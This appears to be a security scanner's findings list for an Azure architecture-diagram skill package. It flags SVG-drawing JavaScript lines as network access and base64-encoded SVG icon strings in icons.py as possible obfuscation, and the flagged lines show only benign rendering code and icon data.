if (!isPe && node.sku) {{ const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text'); sku.setAttribute('x', nw/2); sku.setAttribute('y', 90); - Network accessline 2660
const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2669
if (isPe && node.details.length > 0) {{ const det = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2670
const det = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2697
}}; const typeLabel = TYPE_LABELS[node.type] || node.type; const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2698
const typeLabel = TYPE_LABELS[node.type] || node.type; const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text'); cat.setAttribute('x', nw/2); cat.setAttribute('y', nh + 14); - Network accessline 2699
const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2709
// Private badge on card if (node.private && !isPe) {{ const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2710
if (node.private && !isPe) {{ const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g'); const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2711
const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2712
const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2758
// ── Edge labels (rendered AFTER nodes — always visible on top) ── _edgeLabels.forEach(el => {{ const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2759
_edgeLabels.forEach(el => {{ const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); g.classList.add('edge-label'); - Network accessline 2760
const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2762
g.setAttribute('data-from', el.from); g.setAttribute('data-to', el.to); const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2763
g.setAttribute('data-to', el.to); const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); r.classList.add('edge-label-bg'); - Network accessline 2764
const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2765
r.classList.add('edge-label-bg'); const t = document.createElementNS('http://www.w3.org/2000/svg', 'text'); const bw = el.label.length * 6 + 10; - Network accessline 2766
const t = document.createElementNS('http://www.w3.org/2000/svg', 'text');
harness/github-copilot/skills/azure-architecture-autopilot/scripts/icons.py
- Executable scriptline 1
Executable file - Possible obfuscationline 7
"b64": "PHN2ZyBpZD0idXVpZC1mY2E5ZmM4YS03ZTg3LTQyOTEtOTU5Ni1jYjg3ODIzMWQzMjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik05LjA4MiwxNC42NzdoMy4zNDVjLjY2MywwLDEuMi0uNTM3 - Possible obfuscationline 12
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViYWE2NjZmLWQzNGItNDdjNi05ZGQ4LTk1NWNjZTY0MmRkOSIgeDE9IjE0LjQxNSIgeTE9IjEzLjU1NSIgeDI9 - Possible obfuscationline 17
"b64": "PHN2ZyBpZD0idXVpZC0xNzM1MTRmNy1kNmE1LTRkZjctODNhMC04ODMzZjg4NjEzODYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNjFhNjQxMy1kYTM1 - Possible obfuscationline 22
"b64": "PHN2ZyBpZD0iZjQ1YWI3ODItN2E2ZC00ZjE4LTk0MTYtOGY3OGE0MDg3MTU1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY4YTZhNGZjLTllOGQtNDIzYS05N2Qx - Possible obfuscationline 27
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE0ODUyZTZmLTRlNDgtNDdhNi04Y2I3LWM1NDAxN2M0Mzg5NiIgeDE9IjkuMjgyIiB5MT0iMTIuMDc5IiB4Mj0i - Possible obfuscationline 32
"b64": "PHN2ZyBpZD0iYmNlODM0ZTctZDM3Ni00YzIxLTk3ZTYtYjZjODQwYzMyZGUwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI1YjYwODgyLWFiZGUtNDcwYy1hMGY1 - Possible obfuscationline 37
"b64": "PHN2ZyBpZD0idXVpZC1iZTI1ODQ1Zi1jNjcyLTQ5MmEtYmM1My05NjE0Y2M5YmM3NmYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01NzcyZmQyYS03YzM2 - Possible obfuscationline 42
"b64": "PHN2ZyBpZD0idXVpZC02YjgzODBjMy0wZWU1LTRjNDQtOTJhMi1mMTg1YzgyZGI2YmEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0wNTg3NmM3Mi04ZjI2 - Possible obfuscationline 47
"b64": "PHN2ZyBpZD0idXVpZC1jNmMzZjc1ZS01MzY5LTQ0OGUtYjg5NS0zZjk5ZmIxMWJlYmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik03LjQ1Ni42MDhjLS45MDItLjQxMS0xLjkwOS0uNTU5LTIu - Possible obfuscationline 52
"b64": "PHN2ZyBpZD0idXVpZC1jZDVhOGI0MC00MDRiLTQ2NTAtOGFkNS0zNjE0YWYwMTUyZjkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0idXVpZC1hMmY4NmI4NC05Nzg1 - Possible obfuscationline 57
"b64": "PHN2ZyBpZD0idXVpZC1hOGI5NGNjMS1lNGQ3LTRmMjYtOGZiZS05M2Q3OWM3MTQ3ZTciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1iODRiMmM4OS00NjI5 - Possible obfuscationline 62
"b64": "PHN2ZyBpZD0iYTlmNTZiNGUtMmE1MS00NDcxLTk0ODgtZDQ2MTQwOGFlNGViIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU0ZTFlNDk0LTIxZjEtNGU5Yy1hNmZh - Possible obfuscationline 67
"b64": "PHN2ZyBpZD0iZTBiNGY0NDctZDVhOS00N2UzLTkwZTEtZjIxODRiYjlkMTRhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzZmM1MzkyLTlmNDUtNDczZS1hMmQ0 - Possible obfuscationline 72
"b64": "PHN2ZyBpZD0iYTZkZjkzOTMtMmJkNy00YWM0LWJhMDYtYWI1ZjE2ZmY1OTIzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZkNTkxYjM1LTBlMDEtNDYxMC1hMDI1 - Possible obfuscationline 77
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFiZWM1NDdjLWFiZTYtNDBmZi05NGJiLWM4YWU0OTM2ZDNiYSIgeDE9IjEwLjA4NCIgeTE9IjEuMzA5IiB4Mj0i - Possible obfuscationline 82
"b64": "PHN2ZyBpZD0idXVpZC00MzFhNzU5Yy1hMjlkLTQ2NzgtODllZS01YjFiMjY2NmY4OTAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0xMDQ3OGU2OC0xMDA5 - Possible obfuscationline 87
"b64": "PHN2ZyBpZD0iZmUzNjYwOTktYTJiMS00MjZlLWJmMTQtNWZhYzNhZjI2MzNiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkODNmMTY5LTEwNmMtNDg4OC04OTc0 - Possible obfuscationline 92
"b64": "PHN2ZyBpZD0iZjc4ZWYzN2ItZmRlNC00NjFjLTk0ZTItZGNjZmYzMmRkNWQ3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmOGE5NTgzLWFhZTktNDhmZi04N2Q4 - Possible obfuscationline 97
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZmN2ExYTlmLWUxYTctNDcxYS1iNzZlLTFkMmVhNDNhOGQxMSIgeDE9IjguOTI0IiB5MT0iNzg1LjE0NSIgeDI9 - Possible obfuscationline 102
"b64": "PHN2ZyBpZD0idXVpZC04YzNlZGU0My01NTZkLTRjNjAtYjhlYi1lYTMwMGE5Yzg3NjYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1kNmQwMjE2Mi03MDMx - Possible obfuscationline 107
"b64": "PHN2ZyBpZD0iYjYyZmU1M2QtZDEwMi00ODhlLWJlZGYtM2I3YTQ4YWExNGJmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJiYWEyNDRkLTdhNzMtNGRlZi1hZTMz - Possible obfuscationline 112
"b64": "PHN2ZyBpZD0iYTc2YTAxMDMtY2UwMy00ZDU4LTg1OWQtNGMyN2UwMjkyNWQyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmZWI4ZTk2LTJhZjAtNDY4MS05YTZh - Possible obfuscationline 117
"b64": "PHN2ZyBpZD0iZjZhNzkxMjYtYTdlZi00MTkwLWIwMWItZTM0YjVjY2I3OTc3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmYzk1ZjU3LTI4YmYtNDFkZS1hMDll - Possible obfuscationline 122
"b64": "PHN2ZyBpZD0iZjM5ZGIwOGYtYzQzMy00YjNlLThkZDktZjViMzJiMGRkMmUyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzYjQ2MmQzLTRjM2MtNDdlOS04Mjdi - Possible obfuscationline 127
"b64": "PHN2ZyBpZD0iZmQzZDhkNGEtNDZlMS00NDA4LWJhMWUtOTEzNWE3ZTM0YzQ5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIyNWE2ZWVmLTYzYTEtNDAyOC05ODFm - Possible obfuscationline 132
"b64": "PHN2ZyBpZD0iZmNhMjEwNWYtYzAzOS00ZjM0LWJkNjUtOGFiOTVkNGVjZGI5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE3NzNhZjM4LTQzZTQtNGZkMi05NDg1 - Possible obfuscationline 137
"b64": "PHN2ZyBpZD0iYjcwYWNmMGEtMzRiNC00YmRmLTkwMjQtNzQ5NjA0M2ZmOTE1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImUyY2Y4NzQ2LWM5YTgtNGVlZS04NmMy - Possible obfuscationline 142
"b64": "PHN2ZyB3aWR0aD0iMzYiIGhlaWdodD0iMzYiIHZpZXdCb3g9IjAgMCAzNiAzNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfOTE3NV8zNDg0OTgpIj48cGF0aCBkPSJNNi4xMzU5NSAxNi4zMDRDNi4xMzU5NSAyMi4zMzgg - Possible obfuscationline 147
"b64": "PHN2ZyBpZD0idXVpZC0xMjYwOWRhYS02MDhhLTQ5Y2MtYmU3My02OTgwOWYwNThmOGUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1jNWI3NzJkMy01NmZi - Possible obfuscationline 152
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2NDAyOWRjLTUzYjYtNDNiMi04YWFlLTkyNDEzODQ2ZTUxYyIgeTE9IjkiIHgyPSIxOCIgeTI9IjkiIGdyYWRp - Possible obfuscationline 157
"b64": "PHN2ZyBpZD0idXVpZC0yNGQ5MmM3My02YTNkLTRjMWMtYjFkYS1hOWJlYjU4YmIxOGMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01NGYxM2I2NC02OGUw - Possible obfuscationline 162
"b64": "PHN2ZyBpZD0iYWNhYzVhMzQtYTAzMi00OWY5LTkzOTctMzdmNGYxYjRhZTlhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY2ZDUzOTliLWE1Y2ItNGMwOS05NmNj - Possible obfuscationline 167
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyNmM5NDIwLTIyZWEtNDM3ZC05NjNhLWQ5MWEwNzA1MmZlOCIgeDE9IjkiIHkxPSIxNy41IiB4Mj0iOSIgeTI9 - Possible obfuscationline 172
"b64": "PHN2ZyBpZD0iYjZmNmQ5OWUtZjMzMC00ODFkLTgzNmYtZWE1OGNjNDIyMTdmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImE3YTFjNDMxLTZjNmQtNGE4Zi05YTY5 - Possible obfuscationline 177
"b64": "PHN2ZyBpZD0iYTdlNWMyODQtMTNjYy00YWM1LWI4NDItZWNmYjNlN2JiYjczIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzZGY3ZDE5LTNkNTQtNGQ4Ni1iN2I4 - Possible obfuscationline 182
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzMWE5NWM2LTY3OTgtNDU0OS04NTY2LWRkNzgwODRhZTdiZiIgeDE9IjEwLjY4NiIgeTE9IjAuMTQzIiB4Mj0i - Possible obfuscationline 187
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImYxZDE4ZDc1LWNkYjAtNDA2Ny1iZjg1LTNjMWU2ZDYzY2I5MyIgeDE9IjMuNDIzIiB5MT0iOC40MzgiIHgyPSIx - Possible obfuscationline 192
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFhZjQ3NmRlLTA0YmMtNGFmOC05OGNjLWU2NzkyOWRjY2QyMCIgeDE9IjMuODc1IiB5MT0iMi4xOTciIHgyPSI4 - Possible obfuscationline 197
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmNWZjMTg0LWQ2ZjQtNDJmMC1hYzU1LWYwNjliNzZlMzA2NCIgeDE9IjkuMDA0IiB4Mj0iOS4wMDQiIHkyPSIx - Possible obfuscationline 202
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxZmI1OGM1LWFkYmQtNDkwYy05Mzk3LWY2M2E0YWVjNjc0MiIgeDE9IjIuOTQiIHkxPSI4LjQzOCIgeDI9IjE0 - Possible obfuscationline 207
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxZmI1OGM1LWFkYmQtNDkwYy05Mzk3LWY2M2E0YWVjNjc0MiIgeDE9IjIuOTQiIHkxPSI4LjQzOCIgeDI9IjE0 - Possible obfuscationline 212
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmMzc2ZTJjLTM4ZmQtNDgzNS04M2JjLWJiMjRlZTk2MGZmZiIgeDE9IjYuMjY3IiB5MT0iMTMuOTY3IiB4Mj0i - Possible obfuscationline 217
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxYjQ3M2FiLTA2M2UtNDYxMS1hZWJiLTFjZTRkN2Y1ZjFjZSIgeDE9IjkiIHkxPSI5LjYyOCIgeDI9IjkiIGdy - Possible obfuscationline 222
"b64": "PHN2ZyBpZD0idXVpZC1jZmI3MzQ1Yy01NzY0LTRlMDctODc5NS0yZDkwYmY0ZWU5ZmEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1iY2MzZjExNS1iYWFh - Possible obfuscationline 227
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViMTY4MjYwLTFkODYtNDNkMy1hYWY5LWIyM2Q5NTNiMzNlMCIgeDE9IjkuNzc3IiB5MT0iLTEuMzIxIiB4Mj0i - Possible obfuscationline 232
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFmZDI0ZjA1LTU5YmUtNGMwNi04MzM0LTYwNTQwM2ZiMmI3YiIgeDE9IjkiIHkxPSI3NzguODMxIiB4Mj0iOSIg - Possible obfuscationline 237
"b64": "PHN2ZyBpZD0iYjE1NjVlOTctZTUzYS00NGE1LTk0NzktMTk5ZDhjM2M0MmQyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVjNDM1OGZhLWM5NzctNDJlMi1hN2Fi - Possible obfuscationline 242
"b64": "PHN2ZyBpZD0iYWFiZGUwYjYtMjI4OS00ZDZmLThiZTgtNWJiNjcwYmM4MGMwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwMjBkMWEzLTYwNGQtNGY3OS04MDg3 - Possible obfuscationline 247
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE1OWFkOGFlLTNhMDItNDNmMS05YTgwLWQ2OWQxNDI3Mjk2YSIgeDE9IjkiIHkxPSIxMi43OTgiIHgyPSI5IiB5 - Possible obfuscationline 252
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNS4zMzQ5MiAxLjM3NDkxQzUuNDQ3MTcgMS4wNDIyOSA1Ljc1OTA5IDAuODE4MzU5IDYuMTEwMTQgMC44MTgzNTlIMTEu - Possible obfuscationline 257
"b64": "PHN2ZyBpZD0idXVpZC03N2NjMDNmZS1jZmMyLTQ0NmItOTVmMy05ZmVmNWU3NzJiMzMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC05ZDAwNzBkMS1lNmMz - Possible obfuscationline 262
"b64": "PHN2ZyBpZD0iZWY3OWE3NDQtMzE4Zi00NDJiLWFhNmItOGZjMjMwY2Y3YWFmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyNWI1NDc4LTQzZjctNGY1My04NGE3 - Possible obfuscationline 267
"b64": "PHN2ZyBpZD0idXVpZC1kODdiYWU2NC00MjNhLTQxN2EtYTU4MC0yYTMzNzA2YTY1ZjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1jOTA2ZmEyYy1jNzJl - Possible obfuscationline 272
"b64": "PHN2ZyBpZD0iYWI3MTBiYTctZGM4Yy00NGNlLWE2OGUtYWY2NWRkNmI0NjVhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxMy45ODkiIHZpZXdCb3g9IjAgMCAxOCAxMy45ODkiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0iYjIxMGZlZjEtZWU3YS00 - Possible obfuscationline 277
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2OWQyMTUwLWI0ZGEtNDYwYi05OWFlLWE5ZjVhOTYxYjMxMyIgeDE9Ii0xMTk0LjMyMSIgeTE9IjkuMTI4IiB4 - Possible obfuscationline 282
"b64": "PHN2ZyBpZD0iYjBiNzU2MDMtNDZiNi00ZjhmLTkxYjEtMDc3MGY0ZDgwYmM5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmMTM1MWI2LTJmN2YtNGNlYi04ODA4 - Possible obfuscationline 287
